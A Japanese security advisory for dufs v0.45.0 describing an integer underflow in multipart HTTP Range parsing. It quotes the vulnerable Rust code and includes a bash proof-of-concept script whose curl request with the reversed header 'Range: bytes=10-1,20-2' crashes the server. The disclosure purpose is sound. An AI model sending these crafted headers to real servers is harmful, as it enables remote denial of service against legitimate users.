Bughunt:🔍 Maltipart Range のパース処理における Integer Underflow によるリモート DoS 攻撃 (GHSA-826f-v74x-v324)
Summary
- Title: Integer Underflow in Multipart Range Parsing Allows Remote DoS via Memory Exhaustion
- Credits: sl91994
- Status: 報告済み (Closed)
Dufs (v0.45.0およびそれ以前) のHTTP Range ヘッダーのパース処理には,整数アンダーフロー (Integer Underflow) の脆弱性が存在します. 攻撃者が Range: bytes=500-1 のように,開始位置 (start) が終了位置 (end) を上回る 不正な値を指定したリクエストを送信すると,サーバー内部の計算式 $range_size = end - start + 1$ において符号なし64ビット整数 (u64) のアンダーフローが発生します.その結果,range_size は 約18エクサバイト という極めて巨大な正の数値として算出されます. また,Multipart Range でこれがトリガーされると,Release であってもプロセスが Panic し強制終了します.
Details
- 脆弱性発見日: 2026-03-30
- 脆弱性確認バージョン: dufs v0.45.0
- Primary CWE:
- CWE-191: Integer Underflow (Wrap or Wraparound)
- Secondary CWE:
- CWE-789: Memory Allocation with Excessive Size Value
- CVSS:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N: High 8.7
utils.rs:101 の parse_range() が,utils.rs:124-125 で end < size だけを見ており,start <= end を検証していない. それに加えて,テストが欠落しており utils.rs:168 の test_parse_range() に逆順のRange (start > end) ケースがありません. よって,Range: bytes=10-1 や bytes=10-1,20-2 のような逆順指定を行うことで parse_range() を通過し,後の handle_send_file() で $end - start + 1$ が u64 でアンダーフローします. Single Range の処理ルート(ranges.len() == 1)においては,異常に大きい Content-Length が生成されるものの,LengthLimitedStream によるストリーミング処理となるため即座のメモリ枯渇には至りません.しかし,Multipart Range の処理ルート(elseブロック) においては,let mut buffer = vec![0; range_size as usize]; によってアンダーフローした巨大なサイズのベクタ領域を一括確保しようとします. その結果,release ビルド実行時においても標準ライブラリの capacity overflow を引き起こしてパニックに至り,プロセス全体が強制終了するリモートDoSが成立します.
入力受け取り側: utils.rs > parse_range(): 124-125
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pub fn parse_range(range: &str, size: u64) -> Option<Vec<(u64, u64)>> {
let (unit, ranges) = range.split_once('=')?;
if unit != "bytes" {
return None;
}
let mut result = Vec::new();
for range in ranges.split(',') {
let (start, end) = range.trim().split_once('-')?;
if start.is_empty() {
let offset = end.parse::<u64>().ok()?;
if offset <= size {
result.push((size - offset, size - 1));
} else {
return None;
}
} else {
let start = start.parse::<u64>().ok()?;
if start < size {
if end.is_empty() {
result.push((start, size - 1));
} else {
let end = end.parse::<u64>().ok()?;
// end < size しか検証しておらず,start <= end を検証していない
if end < size {
result.push((start, end));
} else {
return None;
}
}
} else {
return None;
}
}
}
Some(result)
}
server.rs:884 で range_size = end - start + 1 を計算します.これにより,アンダーフローが発生します.
Single Rangeでの使用側: server.rs > Impl Server{} > handle_send_file(): 884
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
async fn handle_send_file(
&self,
path: &Path,
headers: &HeaderMap<HeaderValue>,
head_only: bool,
res: &mut Response,
) -> Result<()> {
//...
if let Some(ranges) = ranges {
if let Some(ranges) = ranges {
if ranges.len() == 1 {
let (start, end) = ranges[0];
file.seek(SeekFrom::Start(start)).await?;
// Single Range
let range_size = end - start + 1;
*res.status_mut() = StatusCode::PARTIAL_CONTENT;
let content_range = format!("bytes {start}-{end}/{size}");
res.headers_mut()
.insert(CONTENT_RANGE, content_range.parse()?);
res.headers_mut()
.insert(CONTENT_LENGTH, format!("{range_size}").parse()?);
if head_only {
return Ok(());
}
let stream_body = StreamBody::new(
LengthLimitedStream::new(file, range_size as usize)
.map_ok(Frame::data)
.map_err(|err| anyhow!("{err}")),
);
let boxed_body = stream_body.boxed();
*res.body_mut() = boxed_body;
} else {
//...
}
} else {
*res.status_mut() = StatusCode::RANGE_NOT_SATISFIABLE;
res.headers_mut()
.insert(CONTENT_RANGE, format!("bytes */{size}").parse()?);
}
} else {
res.headers_mut()
.insert(CONTENT_LENGTH, format!("{size}").parse()?);
if head_only {
return Ok(());
}
let reader_stream = ReaderStream::with_capacity(file, BUF_SIZE);
let stream_body = StreamBody::new(
reader_stream
.map_ok(Frame::data)
.map_err(|err| anyhow!("{err}")),
);
let boxed_body = stream_body.boxed();
*res.body_mut() = boxed_body;
}
Ok(())
}
Multi Range でも 909 行目の同一処理で Single Range と同じアンダーフローが発生します. しかし,915 行目の後の処理で let mut buffer = vec![0; range_size as usize]; を使用しているため,領域確保に失敗し Panic が発生します.
Multi Rangeでの使用側: server.rs > Impl Server{} > handle_send_file(): 909-915
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
async fn handle_send_file(
&self,
path: &Path,
headers: &HeaderMap<HeaderValue>,
head_only: bool,
res: &mut Response,
) -> Result<()> {
//...
if let Some(ranges) = ranges {
if let Some(ranges) = ranges {
if ranges.len() == 1 {
//...
} else {
*res.status_mut() = StatusCode::PARTIAL_CONTENT;
let boundary = Uuid::new_v4();
let mut body = Vec::new();
let content_type = get_content_type(path).await?;
for (start, end) in ranges {
file.seek(SeekFrom::Start(start)).await?;
// Multipart Range で同計算を行う (Multipart range_size: 18446744073709551608)
let range_size = end - start + 1;
let content_range = format!("bytes {start}-{end}/{size}");
let part_header = format!(
"--{boundary}\r\nContent-Type: {content_type}\r\nContent-Range: {content_range}\r\n\r\n",
);
body.extend_from_slice(part_header.as_bytes());
// ベクタ領域を確保 (アンダーフローしたサイズの領域を確保しようとして,Panic)
let mut buffer = vec![0; range_size as usize];
file.read_exact(&mut buffer).await?;
body.extend_from_slice(&buffer);
body.extend_from_slice(b"\r\n");
}
body.extend_from_slice(format!("--{boundary}--\r\n").as_bytes());
res.headers_mut().insert(
CONTENT_TYPE,
format!("multipart/byteranges; boundary={boundary}").parse()?,
);
res.headers_mut()
.insert(CONTENT_LENGTH, format!("{}", body.len()).parse()?);
if head_only {
return Ok(());
}
*res.body_mut() = body_full(body);
}
} else {
*res.status_mut() = StatusCode::RANGE_NOT_SATISFIABLE;
res.headers_mut()
.insert(CONTENT_RANGE, format!("bytes */{size}").parse()?);
}
} else {
res.headers_mut()
.insert(CONTENT_LENGTH, format!("{size}").parse()?);
if head_only {
return Ok(());
}
let reader_stream = ReaderStream::with_capacity(file, BUF_SIZE);
let stream_body = StreamBody::new(
reader_stream
.map_ok(Frame::data)
.map_err(|err| anyhow!("{err}")),
);
let boxed_body = stream_body.boxed();
*res.body_mut() = boxed_body;
}
Ok(())
}
PoC
検証環境:
- dufs v0.45.0
- Linux (任意のディストリビューション)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/bin/bash
set -e
# PoC: Integer Underflow in Multipart Range Parsing Allows Remote DoS via Memory Exhaustion
# Tested: dufs v0.45.0
ROOT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
HOST=${HOST:-127.0.0.1}
PORT=${PORT:-8888}
BIN=${BIN:-"$ROOT_DIR/target/release/dufs"}
TEST_ROOT=${TEST_ROOT:-"$ROOT_DIR/test_root"}
TARGET_FILE=${TARGET_FILE:-"$TEST_ROOT/test.txt"}
LOG_FILE=${LOG_FILE:-"$ROOT_DIR/dufs-poc-range-dos.log"}
PANIC_LOG=${PANIC_LOG:-"$ROOT_DIR/dufs-poc-range-dos.stderr.log"}
URL="http://$HOST:$PORT/$(basename "$TARGET_FILE")"
if [ ! -x "$BIN" ]; then
echo "[+] release binary not found, building..."
(cd "$ROOT_DIR" && cargo build --release)
fi
mkdir -p "$TEST_ROOT"
if [ ! -f "$TARGET_FILE" ] || [ "$(wc -c < "$TARGET_FILE")" -lt 1024 ]; then
: > "$TARGET_FILE"
i=0
while [ "$i" -lt 300 ]; do
printf 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\n' >> "$TARGET_FILE"
i=$((i + 1))
done
fi
echo "[+] target file: $TARGET_FILE ($(wc -c < "$TARGET_FILE") bytes)"
cleanup() {
if [ -n "${SERVER_PID:-}" ] && kill -0 "$SERVER_PID" 2>/dev/null; then
kill "$SERVER_PID" 2>/dev/null || true
wait "$SERVER_PID" 2>/dev/null || true
fi
}
trap cleanup EXIT INT TERM
rm -f "$PANIC_LOG"
"$BIN" "$TEST_ROOT" --port "$PORT" --log-file "$LOG_FILE" >/dev/null 2>"$PANIC_LOG" &
SERVER_PID=$!
sleep 1
if ! kill -0 "$SERVER_PID" 2>/dev/null; then
echo "[-] server failed to start"
exit 1
fi
echo "[+] server started: pid=$SERVER_PID, url=$URL"
echo
echo "[1/3] baseline request (normal range)"
curl -i -sS -H 'Range: bytes=0-9' "$URL" | sed -n '1,10p'
echo
echo "[2/3] reversed single range"
curl -i -sS -H 'Range: bytes=10-1' "$URL" | sed -n '1,10p'
echo
echo "[3/3] reversed multipart range (DoS trigger)"
set +e
CURL_OUT=$(curl -i -sS -H 'Range: bytes=10-1,20-2' "$URL" 2>&1)
CURL_RC=$?
set -e
printf '%s\n' "$CURL_OUT" | sed -n '1,30p'
echo "curl exit code: $CURL_RC"
echo
sleep 1
if kill -0 "$SERVER_PID" 2>/dev/null; then
echo "[-] server is still alive; PoC did not crash this run"
exit 1
fi
echo "[+] server crashed after crafted multipart range (PoC reproduced)"
if [ -s "$PANIC_LOG" ]; then
echo "[+] panic stderr (tail):"
tail -n 20 "$PANIC_LOG"
fi
Impact
- High Severity Remote Denial of Service (DoS): 未認証のリモート攻撃者が,読み取り可能なファイルに対して細工したマルチパート
Rangeヘッダーを送信するだけで,Dufs サーバープロセスを即座にクラッシュさせることが可能です. - Default Configuration Vulnerability:
--allow-uploadなどの追加設定は一切不要です.デフォルトの読み取り専用設定で動作しているサーバーであっても,公開されているファイルが一つでも存在すれば攻撃が成立します. - Process Termination (OOM/Panic): 約18エクサバイトという異常なメモリ確保リクエスト (
capacity overflow) により,Rustのパニックが誘発され,プロセスが完全に強制終了 (core dumped) します.これにより,正当なユーザーに対するファイル配信サービスが完全に停止します. - Low Attack Complexity: 特殊な攻撃ツールや複雑な手順は不要であり,標準的な
curlコマンド一行で攻撃が完了するため,悪用されるリスクが非常に高い状態です.